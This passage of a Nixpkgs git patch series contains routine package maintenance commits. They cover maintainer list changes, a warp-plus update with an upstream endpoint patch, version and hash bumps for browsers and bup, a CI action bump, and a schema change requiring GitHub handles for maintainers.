     homepage = "https://github.com/bepass-org/warp-plus";
     license = lib.licenses.mit;
-    maintainers = with lib.maintainers; [ paveloom ];
+    maintainers = with lib.maintainers; [ ];
     mainProgram = "warp-plus";
     # Doesn't work with Go toolchain >1.22, runtime error:
     # 'panic: tls.ConnectionState doesn't match'
diff --git a/pkgs/by-name/wh/whisparr/package.nix b/pkgs/by-name/wh/whisparr/package.nix
index 157ae52dede6..db6896b7d4b9 100644
--- a/pkgs/by-name/wh/whisparr/package.nix
+++ b/pkgs/by-name/wh/whisparr/package.nix
@@ -91,6 +91,6 @@ stdenv.mkDerivation rec {
     ];
     sourceProvenance = [ lib.sourceTypes.binaryNativeCode ];
     mainProgram = "Whisparr";
-    maintainers = [ lib.maintainers.paveloom ];
+    maintainers = [ ];
   };
 }
diff --git a/pkgs/development/python-modules/pyqtdarktheme/default.nix b/pkgs/development/python-modules/pyqtdarktheme/default.nix
index 2d4841227071..872e22d6ef1a 100644
--- a/pkgs/development/python-modules/pyqtdarktheme/default.nix
+++ b/pkgs/development/python-modules/pyqtdarktheme/default.nix
@@ -58,6 +58,6 @@ buildPythonPackage rec {
     description = "Flat dark theme for PySide and PyQt";
     homepage = "https://pyqtdarktheme.readthedocs.io/en/stable";
     license = licenses.mit;
-    maintainers = with maintainers; [ paveloom ];
+    maintainers = with maintainers; [ ];
   };
 }
diff --git a/pkgs/development/python-modules/undetected-chromedriver/default.nix b/pkgs/development/python-modules/undetected-chromedriver/default.nix
index bcb349bfe36d..7a96528c4f83 100644
--- a/pkgs/development/python-modules/undetected-chromedriver/default.nix
+++ b/pkgs/development/python-modules/undetected-chromedriver/default.nix
@@ -49,6 +49,6 @@ buildPythonPackage {
     description = "Python library for the custom Selenium ChromeDriver that passes all bot mitigation systems";
     homepage = "https://github.com/ultrafunkamsterdam/undetected-chromedriver";
     license = licenses.gpl3Only;
-    maintainers = with lib.maintainers; [ paveloom ];
+    maintainers = with lib.maintainers; [ ];
   };
 }

From e9c4bf977a3d467382925705892c8ee534055bca Mon Sep 17 00:00:00 2001
From: phanirithvij <phanirithvij2000@gmail.com>
Date: Thu, 28 Aug 2025 14:19:51 +0530
Subject: [PATCH 4164/4511] warp-plus: 1.2.6 -> 1.2.6-unstable-2025-08-13

fix version test

Signed-off-by: phanirithvij <phanirithvij2000@gmail.com>
(cherry picked from commit 943d380f81967b1c11a58e5eb400e21ab7c0a079)
---
 pkgs/by-name/wa/warp-plus/fix-endpoints.patch | 95 +++++++++++++++++++
 pkgs/by-name/wa/warp-plus/package.nix         | 21 ++--
 2 files changed, 110 insertions(+), 6 deletions(-)
 create mode 100644 pkgs/by-name/wa/warp-plus/fix-endpoints.patch

diff --git a/pkgs/by-name/wa/warp-plus/fix-endpoints.patch b/pkgs/by-name/wa/warp-plus/fix-endpoints.patch
new file mode 100644
index 000000000000..177509d38064
--- /dev/null
+++ b/pkgs/by-name/wa/warp-plus/fix-endpoints.patch
@@ -0,0 +1,95 @@
+From b1bc81051810899189b071349443d82fdc1caebe Mon Sep 17 00:00:00 2001
+From: NImaism <nima.gholamyy@gmail.com>
+Date: Sat, 16 Aug 2025 22:20:15 +0330
+Subject: [PATCH] fix: warp endpoints issues
+
+---
+ app/app.go               | 18 ++++++++++++++----
+ cmd/warp-plus/rootcmd.go | 10 ----------
+ 2 files changed, 14 insertions(+), 14 deletions(-)
+
+diff --git a/app/app.go b/app/app.go
+index 770c58b536e11be3ebdb098c54cf74228139cb51..0197655d681539ed1dd1915ed65107cb7c007b17 100644
+--- a/app/app.go
++++ b/app/app.go
+@@ -56,6 +56,16 @@ func RunWarp(ctx context.Context, l *slog.Logger, opts WarpOptions) error {
+ 		return errors.New("must provide country for psiphon")
+ 	}
+ 
++	if opts.Endpoint == "" {
++		ident, err := warp.LoadOrCreateIdentity(l, path.Join(opts.CacheDir, "primary"), opts.License)
++		if err != nil {
++			l.Error("failed to load or create primary warp identity")
++			return err
++		}
++
++		opts.Endpoint = ident.Config.Peers[0].Endpoint.V4[:len(ident.Config.Peers[0].Endpoint.V4)-2] + ":500"
++	}
++
+ 	// Decide Working Scenario
+ 	endpoints := []string{opts.Endpoint, opts.Endpoint}
+ 
+@@ -96,7 +106,7 @@ func RunWarp(ctx context.Context, l *slog.Logger, opts WarpOptions) error {
+ 	case opts.Gool:
+ 		l.Info("running in warp-in-warp (gool) mode")
+ 		// run warp in warp
+-		warpErr = runWarpInWarp(ctx, l, opts, endpoints)
++		warpErr = runWarpInWarp(ctx, l, opts, endpoints[0])
+ 	default:
+ 		l.Info("running in normal warp mode")
+ 		// just run primary warp on bindAddress
+@@ -237,7 +247,7 @@ func runWarp(ctx context.Context, l *slog.Logger, opts WarpOptions, endpoint str
+ 	return nil
+ }
+ 
+-func runWarpInWarp(ctx context.Context, l *slog.Logger, opts WarpOptions, endpoints []string) error {
++func runWarpInWarp(ctx context.Context, l *slog.Logger, opts WarpOptions, endpoint string) error {
+ 	// make primary identity
+ 	ident1, err := warp.LoadOrCreateIdentity(l, path.Join(opts.CacheDir, "primary"), opts.License)
+ 	if err != nil {
+@@ -254,7 +264,7 @@ func runWarpInWarp(ctx context.Context, l *slog.Logger, opts WarpOptions, endpoi
+ 
+ 	// Enable trick and keepalive on all peers in config
+ 	for i, peer := range conf.Peers {
+-		peer.Endpoint = endpoints[0]
++		peer.Endpoint = endpoint
+ 		peer.Trick = true
+ 		peer.KeepAlive = 5
+ 
+@@ -297,7 +307,7 @@ func runWarpInWarp(ctx context.Context, l *slog.Logger, opts WarpOptions, endpoi
+ 	}
+ 
+ 	// Create a UDP port forward between localhost and the remote endpoint
+-	addr, err := wiresocks.NewVtunUDPForwarder(ctx, netip.MustParseAddrPort("127.0.0.1:0"), endpoints[0], tnet1, singleMTU)
++	addr, err := wiresocks.NewVtunUDPForwarder(ctx, netip.MustParseAddrPort("127.0.0.1:0"), endpoint, tnet1, singleMTU)
+ 	if err != nil {
+ 		return err
+ 	}
+diff --git a/cmd/warp-plus/rootcmd.go b/cmd/warp-plus/rootcmd.go
+index 87642c3708d5084d89771808c0ff7e96f6da1014..87eec817a35390cae4b66ad51fd152fce55670f6 100644
+--- a/cmd/warp-plus/rootcmd.go
++++ b/cmd/warp-plus/rootcmd.go
+@@ -13,7 +13,6 @@ import (
+ 	"github.com/adrg/xdg"
+ 	"github.com/bepass-org/warp-plus/app"
+ 	p "github.com/bepass-org/warp-plus/psiphon"
+-	"github.com/bepass-org/warp-plus/warp"
+ 	"github.com/bepass-org/warp-plus/wiresocks"
+ 	"github.com/peterbourgon/ff/v4"
+ 	"github.com/peterbourgon/ff/v4/ffval"
+@@ -205,15 +204,6 @@ func (c *rootConfig) exec(ctx context.Context, args []string) error {
+ 		opts.Scan = &wiresocks.ScanOptions{V4: c.v4, V6: c.v6, MaxRTT: c.rtt}
+ 	}
+ 
+-	// If the endpoint is not set, choose a random warp endpoint
+-	if opts.Endpoint == "" {
+-		addrPort, err := warp.RandomWarpEndpoint(c.v4, c.v6)
+-		if err != nil {
+-			fatal(l, err)
+-		}
+-		opts.Endpoint = addrPort.String()
+-	}
+-
+ 	go func() {
+ 		if err := app.RunWarp(ctx, l, opts); err != nil {
+ 			fatal(l, err)
diff --git a/pkgs/by-name/wa/warp-plus/package.nix b/pkgs/by-name/wa/warp-plus/package.nix
index 0bd38a45d10a..72d0d2c97def 100644
--- a/pkgs/by-name/wa/warp-plus/package.nix
+++ b/pkgs/by-name/wa/warp-plus/package.nix
@@ -10,16 +10,16 @@
 
 buildGoModule rec {
   pname = "warp-plus";
-  version = "1.2.6";
+  version = "1.2.6-unstable-2025-08-13";
 
   src = fetchFromGitHub {
     owner = "bepass-org";
     repo = "warp-plus";
-    rev = "v${version}";
-    hash = "sha256-Zi428QI0DBIPEywXPi0TwDQWJuQyQcB6N5nqtYkkpHk=";
+    rev = "08d43e9e4c079534e47ba19fb2965c968c9621b2";
+    hash = "sha256-MHz8b1whSzUJO0YogxMPuXMaQRfR+xxSYhFxq412EmE=";
   };
 
-  vendorHash = "sha256-cCMbda2dVZypGqy9zoh0D3lVHWw/HNbCaSe0Nj5wL6s=";
+  vendorHash = "sha256-GmxiQk50iQoH2J/qUVvl9RBz6aIQp8RURqTzrl6NdCY=";
 
   ldflags = [
     "-s"
@@ -27,10 +27,16 @@ buildGoModule rec {
     "-X main.version=${version}"
   ];
 
+  patches = [
+    # https://github.com/bepass-org/warp-plus/pull/291
+    ./fix-endpoints.patch
+  ];
+
   checkFlags =
     let
       # Skip tests that require network access
       skippedTests = [
+        "TestStdNetBindReceiveFuncAfterClose"
         "TestConcurrencySafety"
         "TestNoiseHandshake"
         "TestTwoDevicePing"
@@ -39,8 +45,11 @@ buildGoModule rec {
     [ "-skip=^${builtins.concatStringsSep "$|^" skippedTests}$" ];
 
   passthru = {
-    updateScript = nix-update-script { };
-    tests.version = testers.testVersion { package = warp-plus; };
+    updateScript = nix-update-script { extraArgs = [ "--version=branch" ]; };
+    tests.version = testers.testVersion {
+      package = warp-plus;
+      command = "warp-plus version";
+    };
   };
 
   meta = {

From 2f54522fa2d17ee369404ff0c2ed917f98c5d065 Mon Sep 17 00:00:00 2001
From: phanirithvij <phanirithvij2000@gmail.com>
Date: Thu, 28 Aug 2025 14:54:45 +0530
Subject: [PATCH 4165/4511] warp-plus: add phanirithvij as maintainer, unbreak

Signed-off-by: phanirithvij <phanirithvij2000@gmail.com>
(cherry picked from commit 34a54d92acc74220e033e69234c0ee728ab0d667)
---
 pkgs/by-name/wa/warp-plus/package.nix | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/pkgs/by-name/wa/warp-plus/package.nix b/pkgs/by-name/wa/warp-plus/package.nix
index 72d0d2c97def..760aeec0a1ec 100644
--- a/pkgs/by-name/wa/warp-plus/package.nix
+++ b/pkgs/by-name/wa/warp-plus/package.nix
@@ -56,10 +56,7 @@ buildGoModule rec {
     description = "Warp + Psiphon, an anti censorship utility for Iran";
     homepage = "https://github.com/bepass-org/warp-plus";
     license = lib.licenses.mit;
-    maintainers = with lib.maintainers; [ ];
+    maintainers = with lib.maintainers; [ phanirithvij ];
     mainProgram = "warp-plus";
-    # Doesn't work with Go toolchain >1.22, runtime error:
-    # 'panic: tls.ConnectionState doesn't match'
-    broken = true;
   };
 }

From 46d32b9380e2fe31dc7b95010d7cb266a8c6fc6b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 1 Sep 2025 08:48:20 +0000
Subject: [PATCH 4166/4511] vivaldi: 7.5.3735.64 -> 7.5.3735.66

(cherry picked from commit 1b017fbf5cf14528a57712209b1ec40c43b30982)
---
 pkgs/by-name/vi/vivaldi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index a1c942d6bda0..48eac470d55b 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -66,7 +66,7 @@
 
 stdenv.mkDerivation rec {
   pname = "vivaldi";
-  version = "7.5.3735.64";
+  version = "7.5.3735.66";
 
   suffix =
     {
@@ -79,8 +79,8 @@ stdenv.mkDerivation rec {
     url = "https://downloads.vivaldi.com/stable/vivaldi-stable_${version}-1_${suffix}.deb";
     hash =
       {
-        aarch64-linux = "sha256-qcgbzxJiyIWVTFbhJYd4SrlK6ybjXuTG09LowoDP0LE=";
-        x86_64-linux = "sha256-cIVQiow/m2EMok1COeyo9v/1HCKStTnDt/StldXk/oo=";
+        aarch64-linux = "sha256-f32ylDHoVD2eMMiNsCASiBsizEtv2iAMOiUe14tq+bo=";
+        x86_64-linux = "sha256-ETj91+AT/fF8UBhqsjOJQ4SnbKIF6Jb/T4Xmt3MutmM=";
       }
       .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
   };

From b32051328dbd5bbfd9e16d6cd0cca601990ff045 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 27 Aug 2025 13:06:07 +0200
Subject: [PATCH 4167/4511] maintainers: add github/githubId for tomkoid

(cherry picked from commit 03e63ed0d941b69f3182169aa303a47389b0e753)
---
 maintainers/maintainer-list.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index a11a5e35c1b1..480991012021 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -25104,6 +25104,8 @@
   };
   tomkoid = {
     email = "tomaszierl@outlook.com";
+    github = "tomkoid";
+    githubId = 67477750;
     name = "Tomkoid";
   };
   Tommimon = {

From 10b2d601a66c4ba708df0a57ec0a1237e43cafc8 Mon Sep 17 00:00:00 2001
From: Fernando Rodrigues <alpha@sigmasquadron.net>
Date: Tue, 2 Sep 2025 12:59:03 +1000
Subject: [PATCH 4168/4511] maintainers: drop gm6k

Although this maintainer has responded to requests for maintainance and
is active in Nixpkgs, the new data collection requirements introduced in
https://github.com/NixOS/nixpkgs/pull/437085 have been a privacy
concern for this maintainer, who has stated (https://github.com/NixOS/nixpkgs/pull/437082#issuecomment-3243483517)
that they do not wish for their data to be added to the maintainer list.

For this reason, there is no other recourse than to remove this
maintainer's information from newer revisions of Nixpkgs, as their
maintainer entry is now non-compliant with Nixpkgs' latest policies.
Once more, this removal is NOT due to the usual inactivity reasons, but
for specific privacy concerns expressed by the maintainer being removed.

Signed-off-by: Fernando Rodrigues <alpha@sigmasquadron.net>

(cherry picked from commit 81d1a3a2ae011634dc663816c72f4acf8c63c22f)
Signed-off-by: Fernando Rodrigues <alpha@sigmasquadron.net>
---
 maintainers/maintainer-list.nix                      | 4 ----
 pkgs/by-name/al/alsa-lib-with-plugins/package.nix    | 1 -
 pkgs/by-name/lu/luci-go/package.nix                  | 1 -
 pkgs/by-name/mi/minetest-mapserver/package.nix       | 1 -
 pkgs/development/python-modules/pyldavis/default.nix | 1 -
 5 files changed, 8 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index a11a5e35c1b1..2a28233929ec 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -9138,10 +9138,6 @@
     githubId = 1447245;
     name = "Robin Gloster";
   };
-  gm6k = {
-    email = "nix@quidecco.pl";
-    name = "Isidor Zeuner";
-  };
   gmacon = {
     name = "George Macon";
     matrix = "@gmacon:matrix.org";
diff --git a/pkgs/by-name/al/alsa-lib-with-plugins/package.nix b/pkgs/by-name/al/alsa-lib-with-plugins/package.nix
index b7e8f5f326b6..7a0e750f343d 100644
--- a/pkgs/by-name/al/alsa-lib-with-plugins/package.nix
+++ b/pkgs/by-name/al/alsa-lib-with-plugins/package.nix
@@ -19,7 +19,6 @@ runCommand "${alsa-lib.pname}-${alsa-lib.version}"
       description = "wrapper to ease access to ALSA plugins";
       mainProgram = "aserver";
       platforms = platforms.linux;
-      maintainers = with maintainers; [ gm6k ];
     };
     outputs = alsa-lib.outputs;
   }
diff --git a/pkgs/by-name/lu/luci-go/package.nix b/pkgs/by-name/lu/luci-go/package.nix
index b48f09c251ea..f92ead2934e1 100644
--- a/pkgs/by-name/lu/luci-go/package.nix
+++ b/pkgs/by-name/lu/luci-go/package.nix
@@ -45,6 +45,5 @@ buildGoModule {
     homepage = "${git-repo}/";
     changelog = "${git-repo}/+log?s=${commit}";
     license = lib.licenses.asl20;
-    maintainers = with lib.maintainers; [ gm6k ];
   };
 }
diff --git a/pkgs/by-name/mi/minetest-mapserver/package.nix b/pkgs/by-name/mi/minetest-mapserver/package.nix
index 5e9fb2aade10..a7618fb34c32 100644
--- a/pkgs/by-name/mi/minetest-mapserver/package.nix
+++ b/pkgs/by-name/mi/minetest-mapserver/package.nix
@@ -27,6 +27,5 @@ buildGoModule rec {
       cc-by-sa-30
     ];
     platforms = platforms.all;
-    maintainers = with maintainers; [ gm6k ];
   };
 }
diff --git a/pkgs/development/python-modules/pyldavis/default.nix b/pkgs/development/python-modules/pyldavis/default.nix
index 8b26af56615c..d9fe6d3c0dd8 100644
--- a/pkgs/development/python-modules/pyldavis/default.nix
+++ b/pkgs/development/python-modules/pyldavis/default.nix
@@ -43,7 +43,6 @@ buildPythonPackage rec {
   meta = with lib; {
     homepage = "https://github.com/bmabey/pyLDAvis";
     description = "Python library for interactive topic model visualization";
-    maintainers = with lib.maintainers; [ gm6k ];
     license = licenses.bsd3;
     sourceProvenance = with sourceTypes; [ fromSource ];
     platforms = platforms.all;

From 2f2221f44c6e2d91f9ffd9484105337c2b83a6a1 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 26 Aug 2025 13:14:46 +0200
Subject: [PATCH 4169/4511] maintainers: require GitHub handle

At the scale of Nixpkgs, actively maintaining a package is only possible
with integration into CI. To be able to be pinged for review requests,
the maintainer must have a GitHub handle, which:
- Leads to an invitation to the NixOS org, which comes with additional
privileges.
- Allows to request the maintainer for review as a member of this org.
- Automatically requests the maintainer for review in CI.

Currently, the GitHub handle is not strictly enforced. This leads to
some new maintainers accidentally forgetting to set these. We can avoid
these mistakes and enforce them via CI.

(cherry picked from commit 568b19f6568997c6a90b81a562f7d55197d610b7)
---
 lib/tests/maintainer-module.nix | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/lib/tests/maintainer-module.nix b/lib/tests/maintainer-module.nix
index ef8dd935da32..b4d01b837dc3 100644
--- a/lib/tests/maintainer-module.nix
+++ b/lib/tests/maintainer-module.nix
@@ -7,6 +7,12 @@ in
     name = lib.mkOption {
       type = types.str;
     };
+    github = lib.mkOption {
+      type = types.str;
+    };
+    githubId = lib.mkOption {
+      type = types.ints.unsigned;
+    };
     email = lib.mkOption {
       type = types.nullOr types.str;
       default = null;
@@ -15,14 +21,6 @@ in
       type = types.nullOr types.str;
       default = null;
     };
-    github = lib.mkOption {
-      type = types.nullOr types.str;
-      default = null;
-    };
-    githubId = lib.mkOption {
-      type = types.nullOr types.ints.unsigned;
-      default = null;
-    };
     keys = lib.mkOption {
       type = types.listOf (
         types.submodule {

From 41ff3c193d294abfe47775a08eae3d0302047e59 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 19 Aug 2025 12:32:48 +0000
Subject: [PATCH 4170/4511] bup: 0.33.7 -> 0.33.8

(cherry picked from commit 27e34e8fc9fd1bb60d58088cef64b4eae2c2ec30)
---
 pkgs/by-name/bu/bup/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bu/bup/package.nix b/pkgs/by-name/bu/bup/package.nix
index a6f00096dafb..61428214a04c 100644
--- a/pkgs/by-name/bu/bup/package.nix
+++ b/pkgs/by-name/bu/bup/package.nix
@@ -15,7 +15,7 @@
 assert par2Support -> par2cmdline != null;
 
 let
-  version = "0.33.7";
+  version = "0.33.8";
 
   pythonDeps =
     with python3.pkgs;
@@ -38,7 +38,7 @@ stdenv.mkDerivation {
     repo = "bup";
     owner = "bup";
     rev = version;
-    hash = "sha256-tuOUml4gF4i7bE2xtjJJol1gRAfYv73RghUYwIDsGyM=";
+    hash = "sha256-FIIzD+7QUwNYhJQhOPzGQxjiSlMsnA6lahh/kn3eGrg=";
   };
 
   buildInputs = [

From f8ecf8cc3783428f9e618869fb4f1ce879b04d50 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 1 Sep 2025 20:10:00 +0000
Subject: [PATCH 4171/4511] build(deps): bump cachix/install-nix-action from
 31.5.2 to 31.6.0

Bumps [cachix/install-nix-action](https://github.com/cachix/install-nix-action) from 31.5.2 to 31.6.0.
- [Release notes](https://github.com/cachix/install-nix-action/releases)
- [Changelog](https://github.com/cachix/install-nix-action/blob/master/RELEASE.md)
- [Commits](https://github.com/cachix/install-nix-action/compare/fc6e360bedc9ee72d75e701397f0bb30dce77568...56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8)

---
updated-dependencies:
- dependency-name: cachix/install-nix-action
  dependency-version: 31.6.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
(cherry picked from commit df934c4327963edff504d260b54a9620525b6ca8)
---
 .github/workflows/build.yml     | 2 +-
 .github/workflows/check.yml     | 2 +-
 .github/workflows/eval.yml      | 8 ++++----
 .github/workflows/lint.yml      | 6 +++---
 .github/workflows/reviewers.yml | 2 +-
 5 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 0acb7dab64f0..0053774ce714 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -52,7 +52,7 @@ jobs:
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
 
-      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
+      - uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
         with:
           # Sandbox is disabled on MacOS by default.
           extra_nix_config: sandbox = true
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index 377e9dc2bb75..44ec33382e22 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -96,7 +96,7 @@ jobs:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
           target-as-trusted-at: ${{ inputs.targetSha }}
 
-      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
+      - uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 63fe63975a1d..b2cbdf2b4c54 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -47,7 +47,7 @@ jobs:
             ci/pinned.json
 
       - name: Install Nix
-        uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
+        uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
 
       - name: Load supported versions
         id: versions
@@ -92,7 +92,7 @@ jobs:
           target-as-trusted-at: ${{ inputs.targetSha }}
 
       - name: Install Nix
-        uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
+        uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
@@ -190,7 +190,7 @@ jobs:
           merge-multiple: true
 
       - name: Install Nix
-        uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
+        uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
 
       - name: Combine all output paths and eval stats
         run: |
@@ -350,7 +350,7 @@ jobs:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
 
       - name: Install Nix
-        uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
+        uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
 
       - name: Run misc eval tasks in parallel
         run: |
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 4d94df1578fa..fc309324db1e 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -32,7 +32,7 @@ jobs:
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
 
-      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
+      - uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
 
       # TODO: Figure out how to best enable caching for the treefmt job. Cachix won't work well,
       # because the cache would be invalidated on every commit - treefmt checks every file.
@@ -66,7 +66,7 @@ jobs:
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
 
-      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
+      - uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
@@ -94,7 +94,7 @@ jobs:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
           target-as-trusted-at: ${{ inputs.targetSha }}
 
-      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
+      - uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index c27bb0e97090..9f4e4374bb89 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -33,7 +33,7 @@ jobs:
           sparse-checkout: ci
 
       - name: Install Nix
-        uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
+        uses: cachix/install-nix-action@56a7bb7b56d9a92d4fd1bc05758de7eea4a370a8 # v31
 
       - name: Build the requestReviews derivation
         run: nix-build trusted/ci -A requestReviews

From 963142e7a661ad5629df979befbaaa5516c628bb Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Mon, 1 Sep 2025 22:10:07 +0000
Subject: [PATCH 4172/4511] firefox-beta-unwrapped: 143.0b2 -> 143.0b7

(cherry picked from commit 032510ed7dee741893923decb8620b519bd17e20)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index aff9413de889..503ebcdeccdf 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "143.0b2";
+  version = "143.0b7";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "3d206037dbd849158b70b8a8fda8527595ead612033a6dd2f0c0417ce0bc50312d2911e3b5d2964a01ab686c7636856a32f43163ce895767a11c1f3298cbf6e8";
+    sha512 = "bf71930c7a5ab2c4ccc4f0179702491bd314763c469501f68df6cef0f1db57da6f16da77bc5d7692c0f5edf8ce616d8f927d2fa59c5c386217b9022a8e9802f8";
   };
 
   meta = {

From 4365f6d556ce53fcf68ae6060b3bed35e293ca9c Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Mon, 1 Sep 2025 22:10:38 +0000
Subject: [PATCH 4173/4511] firefox-devedition-unwrapped: 143.0b2 -> 143.0b7

(cherry picked from commit b421aa6f0a73761a42bd8b9becc78bb6a52d84d2)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index 9b36cd21ff83..b69e94984daf 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "143.0b2";
+  version = "143.0b7";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "265a3b95b3c2a3e5cd051334f9a8c9bac1f8dba10d7a625bfceeb9a75f1e45617975dc26d1760c2e656b26fdf98f18da3181402a067252451d2ac71614dcfb6d";
+    sha512 = "0c1c3af3412b14425df005b53af00e8af526cb6e0bc36f32f6bce1f4332959f35ffed4b795a40e004a41fea9747a7b7c7f6cacfd70b6ef4f54b47556cdc31ec5";
   };
 
   # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but

From 9ad134e1ba4f395af3f44542b487e04fb663a1fc Mon Sep 17 00:00:00 2001
From: kleha <rm23081b@st.omu.ac.jp>
Date: Mon, 1 Sep 2025 02:41:52 +0900
Subject: [PATCH 4174/4511] sunvox: Fix hash, update archive URL

(cherry picked from commit 14aa64b0d6c55a93902f6b0f1488bb186ebe7bf9)
---
 pkgs/by-name/su/sunvox/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/su/sunvox/package.nix b/pkgs/by-name/su/sunvox/package.nix
index 59d6d14c7710..5759285e91d7 100644
--- a/pkgs/by-name/su/sunvox/package.nix
+++ b/pkgs/by-name/su/sunvox/package.nix
@@ -33,9 +33,9 @@ stdenv.mkDerivation (finalAttrs: {
     urls = [
       "https://www.warmplace.ru/soft/sunvox/sunvox-${finalAttrs.version}.zip"
       # Upstream removes downloads of older versions, please save bumped versions to archive.org
-      "https://web.archive.org/web/20241215075639/https://www.warmplace.ru/soft/sunvox/sunvox-${finalAttrs.version}.zip"
